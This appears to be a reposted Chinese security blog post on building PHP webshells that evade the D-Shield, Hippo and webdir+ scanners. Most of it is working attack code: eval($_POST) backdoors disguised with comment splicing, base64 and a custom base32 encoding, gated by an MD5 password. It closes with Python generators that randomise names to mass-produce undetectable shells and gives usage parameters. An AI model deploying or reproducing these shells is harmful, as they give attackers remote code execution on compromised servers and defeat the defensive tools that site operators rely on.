利用注释及自定义加密免杀Webshell

利用注释及自定义加密免杀Webshell
2020-12-31 15:10:55 Author: xz.aliyun.com(查看原文) 阅读量:470 收藏

- 0x00：简介-

此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言
由于php7.1以后assert不能拆分了，所以此篇不使用assert函数作为核心，使用适用性更广的eval。

免杀顺序依次为D盾河马 webdir+
0x01：探究免杀

免杀D盾
首先我们需要了解免杀的原理，免杀其实就是绕过杀软的规则，而规则对我们来说是不透明的，但是可以根据fuzz探知个大概。

首先请出我们的一句话木马：

<?php @eval($_POST('a'));?>

无论如何混淆webshell，我们期望最终得到的逻辑依然是这条代码，所以答案知道了，想办法混淆就行了。

经过对D盾的探测，可以知道，它对函数的检测其实是比较粗糙的，比如我们构造一个函数，让其返回值拼接为```php
eval($_POST['a'])

```php
<?php

function x()
{

    return $_POST['a'];

}

eval(x());
?>

D盾扫一下

被杀了，显然D盾并没有给出我们为什么这个会被杀，只说是已知后门，这里我们测试一下到底是什么东西被规则杀掉了。

首先，无论如何更改函数名，都会被杀掉，所以和函数名没关系，然后就是eval内的参数了，测试后发现，只要拼接成eval($_POST['a'])就会被杀，因此我们避免语句直接拼接为这样即可。

如何避免直接拼接呢当然是往中间加料了加一些既不会破坏语法又能起到隔离作用的东西，什么东西可以做到这样呢？当然就是注释了

比如这样的：

<?php

function x()
{

    return "/*sasas23123*/".$_POST['a']."/*sdfw3123*/";

}

eval(x());
?>

这里用两段注释在"eval("与"$_POST"之间起到了隔离的作用，因此绕过了直接拼接这个规则，D盾继续杀一下

已经免杀成功，再看一下能否使用

既然如此，我们的核心绕过思路就是利用注释了，为了去除特征，必不可少的就是随机性了

使用函数返回值与eval拼接只是权宜之计，毕竟也是一条规则就能够被干掉的。

所以我们这里使用类和构造函数来替代主动调用函数，

<?php
class x
{

        function __construct()
        {      
                @eval("/*sasas23123*/".$_POST['a']."/*sdfw3123*/");
        }

}
new x();

?>

改到这里，我不禁想如果D盾发狠把".$_POST['a']."当独立规则，那岂不是也歇菜，所以，我决定使用base64编码将"$_POST['a']"转化一下

<?php
class x
{
        public $payload = null;
        public $decode_payload = null;
        function __construct()
        {       $this->payload='ZXZhbCgkX1BPU1RbYV0pOw==';
                $this->decode_payload = @base64_decode( $this->payload );
                @eval("/*sasas23123*/".$this->decode_payload."/*sdfw3123*/");
        }

}
new x();

?>

到现在为止，模板确认

后面就是写轮子了，至于轮子原理也很简单，就是将可以修改特征的参数名使用随机数填充，比如类名、public变量名、用于混淆的注释字符等。
代码如下：

import random

#author: pureqh
#github: https://github.com/pureqh/webshell


shell = '''<?php
class {0}{3}
        public ${1} = null;
        public ${2} = null;
        function __construct(){3}
        $this->{1}='ZXZhbCgkX1BPU1RbYV0pOw==';
        $this->{2} = @base64_decode( $this->{1} );
        @eval({5}.$this->{2}.{5});
        {4}{4}
new {0}();
?>'''


def random_keys(len):
    str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))  

def build_webshell():
    className = random_name(4)
    parameter1 = random_name(5)
    parameter2 = random_name(6)
    lef = '''{'''
    rig = '''}'''
    disrupt = "\"/*"+random_keys(7)+"*/\""
    shellc = shell.format(className,parameter1,parameter2,lef,rig,disrupt)
    return shellc


if __name__ == '__main__':
    print (build_webshell())

免杀河马
首先我们拿出之前的样本：

<?php
class YHUV{
        public $BSFRM = null;
        public $YVMQFW = null;
        function __construct(){
        $this->BSFRM='ZXZhbCgkX1BPU1RbYV0pOw==';
        $this->YVMQFW = @base64_decode( $this->BSFRM );
        @eval("/*rEgV_Cd*/".$this->YVMQFW."/*rEgV_Cd*/");
        }}
new YHUV();
?>

直接拿去河马查杀一下，

它很可能通过拼接得到了"eval($_POST[xxx]);"，所以认定为木马，那我加一层认证如何

<?php
class BTAG{
        public $QOMYW = null;
        public $XGTCPL = null;
        public $YIOXAL = null;
        function __construct(){
            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
        $this->QOMYW = 'ZXZhbCgkX1BPU';
        $this->YIOXAL = '1RbYV0pOw==';
        $this->XGTCPL = @base64_decode($this->QOMYW.$this->YIOXAL);
        @eval("/*#`|W$~Q*/".$this->XGTCPL."/*#`|W$~Q*/");
        }}}
new BTAG();
?>

这个我是真没想到...
免杀webdir+
官方说它会拿沙盒跑

我们拿绕过河马的马跑一下，这里的检测速度之所以比较慢就是因为它在跑沙盒，这种方式确实比传统的查杀工具难搞很多，但是它并不完美。

由于eval依然无法动摇，所以我依旧从"$_POST['a']"下手,首先这串字符编码后是过不去webdir+的，但是不编码也过不去，我猜测可能是沙盒在模拟运行的时候拼接出了eval($_POST['a'])，导致被杀，那我使用md5做密钥它总跑不出来吧。修改代码如下：

<?php
class YHUV{
        public $BSFRM = null;
        public $YVMQFW = null;
        function __construct(){
            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){
                $this->BSFRM=$_POST['a'];
                @eval("/*rEgV_Cd*/".$this->BSFRM."/*rEgV_Cd*/");
            }
        }}
new YHUV();
?>

还是被杀了，我反而很高兴，那这也说明一个问题，你并没有顺利执行过我的马，那说明我eval()里的东西一直都是安全的，那么不安全的肯定就是"$_POST['a']"了，这个怎么解决呢？
经过大量测试我发现了一个事情 base64不行了
base64不行了怎么办？我直接用base32，php没有自带的base32？那就自己写

function base32_encode($input) {
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    $output = '';
    $v = 0;
    $vbits = 0;

    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 8;
        $v += ord($input[$i]);
        $vbits += 8;

        while ($vbits >= 5) {
            $vbits -= 5;
            $output .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);
        }
    }

    if ($vbits > 0) {
        $v <<= (5 - $vbits);
        $output .= $BASE32_ALPHABET[$v];
    }

    return $output;
}

function base32_decode($input) {
    $output = '';
    $v = 0;
    $vbits = 0;

    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 5;
        if ($input[$i] >= 'a' && $input[$i] <= 'z') {
            $v += (ord($input[$i]) - 97);
        } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
            $v += (24 + $input[$i]);
        } else {
            exit(1);
        }

        $vbits += 5;
        while ($vbits >= 8) {
            $vbits -= 8;
            $output .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);
        }
    }
    return $output;
}

shell如下，直接使用base32处理"eval($_POST[zero]);"

<?php
class ZQIH{
        public $a = null;
        public $b = null;
        public $c = null;

        function __construct(){
            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){

        $this->a = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';



        $this->LGZOJH = @base32_decode($this->a);
        @eval/*sopupi3240-=*/("/*iSAC[FH*/".$this->LGZOJH."/*iSAC[FH*/");
        }}}
new ZQIH();

function base32_encode($input) {
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    $output = '';
    $v = 0;
    $vbits = 0;

    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 8;
        $v += ord($input[$i]);
        $vbits += 8;

        while ($vbits >= 5) {
            $vbits -= 5;
            $output .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);
        }
    }

    if ($vbits > 0) {
        $v <<= (5 - $vbits);
        $output .= $BASE32_ALPHABET[$v];
    }

    return $output;
}

function base32_decode($input) {
    $output = '';
    $v = 0;
    $vbits = 0;

    for ($i = 0, $j = strlen($input); $i < $j; $i++) {
        $v <<= 5;
        if ($input[$i] >= 'a' && $input[$i] <= 'z') {
            $v += (ord($input[$i]) - 97);
        } elseif ($input[$i] >= '2' && $input[$i] <= '7') {
            $v += (24 + $input[$i]);
        } else {
            exit(1);
        }

        $vbits += 5;
        while ($vbits >= 8) {
            $vbits -= 8;
            $output .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);
        }
    }
    return $output;
}
?>

继续查杀：

能否运行：

至此，我们似乎找到了盲点，以后直接自己写加密完事了。可惜一句话木马也被写成一段话木马了。。。不过在渗透测试过程中完全可以将其拆分为多个文件互相调用。
0x02：批量代码
同样为了减少特征
代码如下

import random

#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero

shell = '''<?php
class {0}{1}
        public ${2} = null;
        public ${3} = null;
        function __construct(){1}
            if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
        $this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
        $this->{3} = @{9}($this->{2});
        @eval({5}.$this->{3}.{5});
        {4}{4}{4}
new {0}();
function {6}(${7}){1}
    $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
    ${8} = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
    $v <<= 8;
        $v += ord(${7}[$i]);
        $vbits += 8;
        while ($vbits >= 5) {1}
            $vbits -= 5;
            ${8} .= $BASE32_ALPHABET[$v >> $vbits];
            $v &= ((1 << $vbits) - 1);{4}{4}
    if ($vbits > 0){1}
        $v <<= (5 - $vbits);
        ${8} .= $BASE32_ALPHABET[$v];{4}
    return ${8};{4}
function {9}(${7}){1}
    ${8} = '';
    $v = 0;
    $vbits = 0;
    for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
        $v <<= 5;
        if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
            $v += (ord(${7}[$i]) - 97);
        {4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
            $v += (24 + ${7}[$i]);
        {4} else {1}
            exit(1);
        {4}
        $vbits += 5;
        while ($vbits >= 8){1}
            $vbits -= 8;
            ${8} .= chr($v >> $vbits);
            $v &= ((1 << $vbits) - 1);{4}{4}
    return ${8};{4}
?>'''


def random_keys(len):
    str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))

def random_name(len):
    str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    return ''.join(random.sample(str,len))  

def build_webshell():
    className = random_name(4)
    lef = '''{'''
    parameter1 = random_name(4)
    parameter2 = random_name(4)
    rig = '''}'''
    disrupt = "\"/*"+random_keys(7)+"*/\""
    fun1 = random_name(4)
    fun1_vul = random_name(4)
    fun1_ret = random_name(4)
    fun2 = random_name(4)
    shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
    return shellc


if __name__ == '__main__':
    print (build_webshell())

文章来源: http://xz.aliyun.com/t/8923
如有侵权请联系:admin#unsafe.sh